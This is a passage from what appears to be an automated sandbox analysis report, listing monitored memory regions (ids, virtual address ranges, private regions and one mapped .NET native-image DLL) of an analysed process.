"private_0x000000001ba80000" filename = "" Region: id = 8524 start_va = 0x1ba90000 end_va = 0x1ba9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba90000" filename = "" Region: id = 8525 start_va = 0x1baa0000 end_va = 0x1baaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001baa0000" filename = "" Region: id = 8526 start_va = 0x1baf0000 end_va = 0x1bafffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001baf0000" filename = "" Region: id = 8527 start_va = 0x1b850000 end_va = 0x1b85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b850000" filename = "" Region: id = 8529 start_va = 0x1b850000 end_va = 0x1b85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b850000" filename = "" Region: id = 8530 start_va = 0x1ba10000 end_va = 0x1ba1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba10000" filename = "" Region: id = 8531 start_va = 0x1ba20000 end_va = 0x1ba2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba20000" filename = "" Region: id = 8532 start_va = 0x1ba30000 end_va = 0x1ba3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba30000" filename = "" Region: id = 8534 start_va = 0x1b850000 end_va = 0x1b85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b850000" filename = "" Region: id = 8535 start_va = 0x1ba10000 end_va = 0x1ba1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba10000" filename = "" Region: id = 8536 start_va = 0x1ba20000 end_va = 0x1ba2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba20000" filename = "" Region: id = 8537 start_va = 0x1ba30000 end_va = 0x1ba3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba30000" filename = "" Region: id = 8538 start_va = 0x1ba40000 end_va = 0x1ba4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba40000" filename = "" Region: id = 8539 start_va = 0x1ba50000 end_va = 0x1ba5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba50000" filename = "" Region: id = 8541 start_va = 0x1ba60000 end_va = 0x1ba6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba60000" filename = "" Region: id = 8542 start_va = 0x1b850000 end_va = 0x1b85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b850000" filename = "" Region: id = 8543 start_va = 0x1ba10000 end_va = 0x1ba1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba10000" filename = "" Region: id = 8545 start_va = 0x1b850000 end_va = 0x1b85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b850000" filename = "" Region: id = 8547 start_va = 0x1b850000 end_va = 0x1b85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b850000" filename = "" Region: id = 8548 start_va = 0x1ba10000 end_va = 0x1ba1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba10000" filename = "" Region: id = 8549 start_va = 0x1ba20000 end_va = 0x1ba2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba20000" filename = "" Region: id = 8550 start_va = 0x1ba30000 end_va = 0x1ba3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba30000" filename = "" Region: id = 8551 start_va = 0x1ba40000 end_va = 0x1ba4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba40000" filename = "" Region: id = 8552 start_va = 0x1ba50000 end_va = 0x1ba5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba50000" filename = "" Region: id = 8555 start_va = 0x1b850000 end_va = 0x1b85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b850000" filename = "" Region: id = 8556 start_va = 0x1ba10000 end_va = 0x1ba1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba10000" filename = "" Region: id = 8557 start_va = 0x1b850000 end_va = 0x1b85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b850000" filename = "" Region: id = 8558 start_va = 0x1b850000 end_va = 0x1b85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b850000" filename = "" Region: id = 8560 start_va = 0x1b850000 end_va = 0x1b85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b850000" filename = "" Region: id = 8561 start_va = 0x1ba10000 end_va = 0x1ba1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba10000" filename = "" Region: id = 8562 start_va = 0x1ba20000 end_va = 0x1ba2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba20000" filename = "" Region: id = 8563 start_va = 0x1ba30000 end_va = 0x1ba3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba30000" filename = "" Region: id = 8565 start_va = 0x1b850000 end_va = 0x1b85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b850000" filename = "" Region: id = 8566 start_va = 0x1ba10000 end_va = 0x1ba1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba10000" filename = "" Region: id = 8567 start_va = 0x1b850000 end_va = 0x1b85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b850000" filename = "" Region: id = 8568 start_va = 0x1ba10000 end_va = 0x1ba1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba10000" filename = "" Region: id = 8570 start_va = 0x1b850000 end_va = 0x1b85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b850000" filename = "" Region: id = 8571 start_va = 0x1ba10000 end_va = 0x1ba1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba10000" filename = "" Region: id = 8572 start_va = 0x1ba20000 end_va = 0x1ba2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba20000" filename = "" Region: id = 8573 start_va = 0x1ba30000 end_va = 0x1ba3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba30000" filename = "" Region: id = 8574 start_va = 0x1b850000 end_va = 0x1b85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b850000" filename = "" Region: id = 8575 start_va = 0x1ba10000 end_va = 0x1ba1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba10000" filename = "" Region: id = 8576 start_va = 0x1ba20000 end_va = 0x1ba2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba20000" filename = "" Region: id = 8577 start_va = 0x1ba30000 end_va = 0x1ba3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba30000" filename = "" Region: id = 8578 start_va = 0x1b850000 end_va = 0x1b85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b850000" filename = "" Region: id = 8579 start_va = 0x1b850000 end_va = 0x1b85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b850000" filename = "" Region: id = 8581 start_va = 0x1ba10000 end_va = 0x1ba1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba10000" filename = "" Region: id = 8582 start_va = 0x1ba20000 end_va = 0x1ba2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba20000" filename = "" Region: id = 8584 start_va = 0x1b850000 end_va = 0x1b85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b850000" filename = "" Region: id = 8586 start_va = 0x1b850000 end_va = 0x1b85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b850000" filename = "" Region: id = 8588 start_va = 0x1ba10000 end_va = 0x1ba1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba10000" filename = "" Region: id = 8589 start_va = 0x1ba20000 end_va = 0x1ba2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba20000" filename = "" Region: id = 8590 start_va = 0x1ba30000 end_va = 0x1ba3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba30000" filename = "" Region: id = 8591 start_va = 0x1ba40000 end_va = 0x1ba4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba40000" filename = "" Region: id = 8592 start_va = 0x1ba50000 end_va = 0x1ba5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba50000" filename = "" Region: id = 8593 start_va = 0x1ba60000 end_va = 0x1ba6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba60000" filename = "" Region: id = 8594 start_va = 0x1ba70000 end_va = 0x1ba7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba70000" filename = "" Region: id = 8595 start_va = 0x1ba80000 end_va = 0x1ba8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba80000" filename = "" Region: id = 8596 start_va = 0x1ba90000 end_va = 0x1ba9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba90000" filename = "" Region: id = 8597 start_va = 0x1baa0000 end_va = 0x1baaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001baa0000" filename = "" Region: id = 8601 start_va = 0x1baf0000 end_va = 0x1bafffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001baf0000" filename = "" Region: id = 8602 start_va = 0x1bb40000 end_va = 0x1bb4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb40000" filename = "" Region: id = 8603 start_va = 0x1bb50000 end_va = 0x1bb5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb50000" filename = "" Region: id = 8605 start_va = 0x1e1b0000 end_va = 0x1e1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001e1b0000" filename = "" Region: id = 8606 start_va = 0x1e1c0000 end_va = 0x1e1cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001e1c0000" filename = "" Region: id = 8607 start_va = 0x1e1d0000 end_va = 0x1e1dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001e1d0000" filename = "" Region: id = 8608 start_va = 0x1e1e0000 end_va = 0x1e1effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001e1e0000" filename = "" Region: id = 8609 start_va = 0x1e300000 end_va = 0x1e31ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001e300000" filename = "" Region: id = 8610 start_va = 0x1e320000 end_va = 0x1e33ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001e320000" filename = "" Region: id = 8611 start_va = 0x1e340000 end_va = 0x1e34ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001e340000" filename = "" Region: id = 8612 start_va = 0x1e350000 end_va = 0x1e35ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001e350000" filename = "" Region: id = 8613 start_va = 0x1e360000 end_va = 0x1e36ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001e360000" filename = "" Region: id = 8614 start_va = 0x1e370000 end_va = 0x1e37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001e370000" filename = "" Region: id = 8615 start_va = 0x1e380000 end_va = 0x1e38ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001e380000" filename = "" Region: id = 8616 start_va = 0x1e390000 end_va = 0x1e39ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001e390000" filename = "" Region: id = 8617 start_va = 0x1e3a0000 end_va = 0x1e3affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001e3a0000" filename = "" Region: id = 8620 start_va = 0x1b850000 end_va = 0x1b85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b850000" filename = "" Region: id = 8621 start_va = 0x1ba10000 end_va = 0x1ba1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba10000" filename = "" Region: id = 8622 start_va = 0x1b850000 end_va = 0x1b85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b850000" filename = "" Region: id = 8623 start_va = 0x1b850000 end_va = 0x1b85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b850000" filename = "" Region: id = 8624 start_va = 0x1ba10000 end_va = 0x1ba1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba10000" filename = "" Region: id = 8630 start_va = 0x1b850000 end_va = 0x1b85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b850000" filename = "" Region: id = 8632 start_va = 0x1ba10000 end_va = 0x1ba1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba10000" filename = "" Region: id = 8633 start_va = 0x1ba20000 end_va = 0x1ba2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba20000" filename = "" Region: id = 8634 start_va = 0x1ba30000 end_va = 0x1ba3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba30000" filename = "" Region: id = 8635 start_va = 0x1ba40000 end_va = 0x1ba4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba40000" filename = "" Region: id = 8637 start_va = 0x1ba50000 end_va = 0x1ba5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba50000" filename = "" Region: id = 8638 start_va = 0x1b850000 end_va = 0x1b85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b850000" filename = "" Region: id = 8639 start_va = 0x1ba10000 end_va = 0x1ba1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba10000" filename = "" Region: id = 8640 start_va = 0x1ba20000 end_va = 0x1ba2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba20000" filename = "" Region: id = 8642 start_va = 0x1ba30000 end_va = 0x1ba3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba30000" filename = "" Region: id = 8643 start_va = 0x1ba40000 end_va = 0x1ba4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba40000" filename = "" Region: id = 8644 start_va = 0x1ba50000 end_va = 0x1ba5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba50000" filename = "" Region: id = 8645 start_va = 0x1ba60000 end_va = 0x1ba6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba60000" filename = "" Region: id = 8646 start_va = 0x1ba70000 end_va = 0x1ba7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba70000" filename = "" Region: id = 8647 start_va = 0x1ba80000 end_va = 0x1ba8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba80000" filename = "" Region: id = 8648 start_va = 0x1ba90000 end_va = 0x1ba9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba90000" filename = "" Region: id = 8649 start_va = 0x1baa0000 end_va = 0x1baaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001baa0000" filename = "" Region: id = 8650 start_va = 0x1baf0000 end_va = 0x1bafffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001baf0000" filename = "" Region: id = 8651 start_va = 0x1bb40000 end_va = 0x1bb4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb40000" filename = "" Region: id = 8652 start_va = 0x1e1b0000 end_va = 0x1e1cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001e1b0000" filename = "" Region: id = 8653 start_va = 0x1e1d0000 end_va = 0x1e1effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001e1d0000" filename = "" Region: id = 8654 start_va = 0x1bb50000 end_va = 0x1bb5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb50000" filename = "" Region: id = 8655 start_va = 0x1e300000 end_va = 0x1e30ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001e300000" filename = "" Region: id = 8656 start_va = 0x1e310000 end_va = 0x1e31ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001e310000" filename = "" Region: id = 8657 start_va = 0x1e320000 end_va = 0x1e32ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001e320000" filename = "" Region: id = 8663 start_va = 0x1b850000 end_va = 0x1b85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b850000" filename = "" Region: id = 8664 start_va = 0x1b850000 end_va = 0x1b85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b850000" filename = "" Region: id = 8665 start_va = 0x1ba10000 end_va = 0x1ba1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba10000" filename = "" Region: id = 8666 start_va = 0x1ba20000 end_va = 0x1ba2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba20000" filename = "" Region: id = 8667 start_va = 0x1ba30000 end_va = 0x1ba3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba30000" filename = "" Region: id = 8668 start_va = 0x1ba40000 end_va = 0x1ba4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba40000" filename = "" Region: id = 8669 start_va = 0x1ba50000 end_va = 0x1ba5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba50000" filename = "" Region: id = 8670 start_va = 0x1ba60000 end_va = 0x1ba6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba60000" filename = "" Region: id = 8671 start_va = 0x1ba70000 end_va = 0x1ba7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba70000" filename = "" Region: id = 8672 start_va = 0x1ba80000 end_va = 0x1ba8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba80000" filename = "" Region: id = 8673 start_va = 0x1ba90000 end_va = 0x1ba9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba90000" filename = "" Region: id = 8676 start_va = 0x1b850000 end_va = 0x1b85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b850000" filename = "" Region: id = 8677 start_va = 0x1ba10000 end_va = 0x1ba1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba10000" filename = "" Region: id = 8680 start_va = 0x1b850000 end_va = 0x1b85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b850000" filename = "" Region: id = 8681 start_va = 0x1b850000 end_va = 0x1b85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b850000" filename = "" Region: id = 8682 start_va = 0x1b850000 end_va = 0x1b85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b850000" filename = "" Region: id = 8683 start_va = 0x1ba10000 end_va = 0x1ba1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba10000" filename = "" Region: id = 8684 start_va = 0x1ba10000 end_va = 0x1ba1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba10000" filename = "" Region: id = 8685 start_va = 0x1ba10000 end_va = 0x1ba1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba10000" filename = "" Region: id = 8686 start_va = 0x1ba10000 end_va = 0x1ba1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba10000" filename = "" Region: id = 8687 start_va = 0x1ba10000 end_va = 0x1ba1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba10000" filename = "" Region: id = 8688 start_va = 0x1ba10000 end_va = 0x1ba1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba10000" filename = "" Region: id = 8689 start_va = 0x1ba10000 end_va = 0x1ba1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba10000" filename = "" Region: id = 8690 start_va = 0x1ba20000 end_va = 0x1ba2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba20000" filename = "" Region: id = 8691 start_va = 0x1ba20000 end_va = 0x1ba2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba20000" filename = "" Region: id = 8692 start_va = 0x1b850000 end_va = 0x1b85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b850000" filename = "" Region: id = 8693 start_va = 0x1b850000 end_va = 0x1b85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b850000" filename = "" Region: id = 8694 start_va = 0x1aec0000 end_va = 0x1aecffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aec0000" filename = "" Region: id = 8695 start_va = 0x1eaf0000 end_va = 0x1ebeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001eaf0000" filename = "" Region: id = 8696 start_va = 0x1aec0000 end_va = 0x1aecffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aec0000" filename = "" Region: id = 8697 start_va = 0x1aec0000 end_va = 0x1aecffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aec0000" filename = "" Region: id = 8698 start_va = 0x1aed0000 end_va = 0x1aedffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aed0000" filename = "" Region: id = 8699 start_va = 0x1aee0000 end_va = 0x1aeeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aee0000" filename = "" Region: id = 8700 start_va = 0x1aed0000 end_va = 0x1aedffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aed0000" filename = "" Region: id = 8701 start_va = 0x1aee0000 end_va = 0x1aeeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aee0000" filename = "" Region: id = 8702 start_va = 0x1aef0000 end_va = 0x1aefffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aef0000" filename = "" Region: id = 8703 start_va = 0x1aed0000 end_va = 0x1aedffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aed0000" filename = "" Region: id = 8704 start_va = 0x1aed0000 end_va = 0x1aedffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aed0000" filename = "" Region: id = 8705 start_va = 0x1aee0000 end_va = 0x1aeeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aee0000" filename = "" Region: id = 8706 start_va = 0x1aee0000 end_va = 0x1aeeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aee0000" filename = "" Region: id = 8707 start_va = 0x1aee0000 end_va = 0x1aeeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aee0000" filename = "" Region: id = 8708 start_va = 0x1aee0000 end_va = 0x1aeeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aee0000" filename = "" Region: id = 8709 start_va = 0x1aee0000 end_va = 0x1aeeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aee0000" filename = "" Region: id = 8710 start_va = 0x1aed0000 end_va = 0x1aedffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aed0000" filename = "" Region: id = 8711 start_va = 0x1aef0000 end_va = 0x1aefffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aef0000" filename = "" Region: id = 8712 start_va = 0x1af00000 end_va = 0x1af0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001af00000" filename = "" Region: id = 8713 start_va = 0x1af00000 end_va = 0x1af0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001af00000" filename = "" Region: id = 8714 start_va = 0x1af00000 end_va = 0x1af0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001af00000" filename = "" Region: id = 8715 start_va = 0x1af00000 end_va = 0x1af0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001af00000" filename = "" Region: id = 8716 start_va = 0x1af00000 end_va = 0x1af0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001af00000" filename = "" Region: id = 8717 start_va = 0x1aed0000 end_va = 0x1aedffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aed0000" filename = "" Region: id = 8718 start_va = 0x1aed0000 end_va = 0x1aedffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aed0000" filename = "" Region: id = 8719 start_va = 0x1aef0000 end_va = 0x1aefffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aef0000" filename = "" Region: id = 8720 start_va = 0x1af10000 end_va = 0x1af1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001af10000" filename = "" Region: id = 8721 start_va = 0x1aed0000 end_va = 0x1aedffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aed0000" filename = "" Region: id = 8722 start_va = 0x1aed0000 end_va = 0x1aedffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aed0000" filename = "" Region: id = 8723 start_va = 0x1aef0000 end_va = 0x1aefffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aef0000" filename = "" Region: id = 8724 start_va = 0x1aef0000 end_va = 0x1aefffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aef0000" filename = "" Region: id = 8725 start_va = 0x7ffafc170000 end_va = 0x7ffafc4a9fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.runtime.serialization.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runteb92aa12#\\dea5e931cfb592ec8ceb386f87575456\\System.Runtime.Serialization.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.runteb92aa12#\\dea5e931cfb592ec8ceb386f87575456\\system.runtime.serialization.ni.dll") Region: id = 8727 start_va = 0x1aed0000 end_va = 0x1aedffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aed0000" filename = "" Region: id = 8728 start_va = 0x1aed0000 end_va = 0x1aedffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aed0000" filename = "" Region: id = 8729 start_va = 0x1aed0000 end_va = 0x1aedffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aed0000" filename = "" Region: id = 8730 start_va = 0x1aef0000 end_va = 0x1aefffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aef0000" filename = "" Region: id = 8731 start_va = 0x1aef0000 end_va = 0x1aefffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aef0000" filename = "" Region: id = 8732 start_va = 0x1af00000 end_va = 0x1af0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001af00000" filename = "" Region: id = 8733 start_va = 0x1af10000 end_va = 0x1af1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001af10000" filename = "" Region: id = 8734 start_va = 0x1af20000 end_va = 0x1af2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001af20000" filename = "" Region: id = 8735 start_va = 0x1af30000 end_va = 0x1af3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001af30000" filename = "" Region: id = 8736 start_va = 0x1af40000 end_va = 0x1af4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001af40000" filename = "" Region: id = 8737 start_va = 0x1af50000 end_va = 0x1af5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001af50000" filename = "" Region: id = 8738 start_va = 0x1af60000 end_va = 0x1af6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001af60000" filename = "" Region: id = 8739 start_va = 0x1af70000 end_va = 0x1af7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001af70000" filename = "" Region: id = 8740 start_va = 0x1af80000 end_va = 0x1af8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001af80000" filename = "" Region: id = 8741 start_va = 0x1af90000 end_va = 0x1af9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001af90000" filename = "" Region: id = 8742 start_va = 0x1afa0000 end_va = 0x1afaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001afa0000" filename = "" Region: id = 8743 start_va = 0x1aed0000 end_va = 0x1aedffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aed0000" filename = "" Region: id = 8744 start_va = 0x1aed0000 end_va = 0x1aedffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aed0000" filename = "" Region: id = 8745 start_va = 0x1aed0000 end_va = 0x1aedffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aed0000" filename = "" Region: id = 8746 start_va = 0x1aed0000 end_va = 0x1aedffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aed0000" filename = "" Region: id = 8747 start_va = 0x1aef0000 end_va = 0x1aefffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aef0000" filename = "" Region: id = 8748 start_va = 0x1aef0000 end_va = 0x1aefffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aef0000" filename = "" Region: id = 8749 start_va = 0x1aef0000 end_va = 0x1aefffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aef0000" filename = "" Region: id = 8750 start_va = 0x1aef0000 end_va = 0x1aefffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aef0000" filename = "" Region: id = 8751 start_va = 0x1aef0000 end_va = 0x1aefffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aef0000" filename = "" Region: id = 8752 start_va = 0x1af00000 end_va = 0x1af0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001af00000" filename = "" Region: id = 8753 start_va = 0x1aed0000 end_va = 0x1aedffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aed0000" filename = "" Region: id = 8754 start_va = 0x1aed0000 end_va = 0x1aedffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aed0000" filename = "" Region: id = 